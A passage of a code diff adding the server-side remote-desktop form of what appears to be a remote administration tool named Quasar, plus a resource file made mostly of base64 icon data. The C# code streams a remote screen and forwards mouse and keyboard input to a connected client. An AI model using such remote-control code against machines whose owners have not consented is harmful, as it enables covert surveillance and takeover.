ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); + + OnResize(EventArgs.Empty); // trigger resize event to align controls + + _remoteDesktopHandler.RefreshDisplays(); + } + + /// + /// Updates the title with the current frames per second. + /// + /// The new frames per second. + private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) + { + this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); + } + + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) + { + // all cleanup logic goes here + UnsubscribeEvents(); + if (_remoteDesktopHandler.IsStarted) StopStream(); + UnregisterMessageHandler(); + _remoteDesktopHandler.Dispose(); + picDesktop.Image?.Dispose(); + } + + private void FrmRemoteDesktop_Resize(object sender, EventArgs e) + { + if (WindowState == FormWindowState.Minimized) + return; + + _remoteDesktopHandler.LocalResolution = picDesktop.Size; + panelTop.Left = (this.Width - panelTop.Width) / 2; + btnShow.Left = (this.Width - btnShow.Width) / 2; + btnHide.Left = (panelTop.Width - btnHide.Width) / 2; + } + + private void btnStart_Click(object sender, EventArgs e) + { + if (cbMonitors.Items.Count == 0) + { + MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + SubscribeEvents(); + StartStream(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + UnsubscribeEvents(); + StopStream(); + } + + #region Remote Desktop Input + + private void picDesktop_MouseDown(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftDown; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightDown; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseUp(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftUp; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightUp; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void OnMouseWheelMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, + false, 0, 0, cbMonitors.SelectedIndex); + } + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); + } + } + + private void OnKeyUp(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } + + #endregion + + #region Remote Desktop Configuration + + private void barQuality_Scroll(object sender, EventArgs e) + { + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; + + this.ActiveControl = picDesktop; + } + + private void btnMouse_Click(object sender, EventArgs e) + { + if (_enableMouseInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnMouse.Image = Properties.Resources.mouse_delete; + toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); + _enableMouseInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnMouse.Image = Properties.Resources.mouse_add; + toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); + _enableMouseInput = true; + } + + this.ActiveControl = picDesktop; + } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (_enableKeyboardInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnKeyboard.Image = Properties.Resources.keyboard_delete; + toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); + _enableKeyboardInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnKeyboard.Image = Properties.Resources.keyboard_add; + toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); + _enableKeyboardInput = true; + } + + this.ActiveControl = picDesktop; + } + + #endregion + + private void btnHide_Click(object sender, EventArgs e) + { + TogglePanelVisibility(false); + } + + private void btnShow_Click(object sender, EventArgs e) + { + TogglePanelVisibility(true); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx new file mode 100755 index 0000000..8a306f9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + 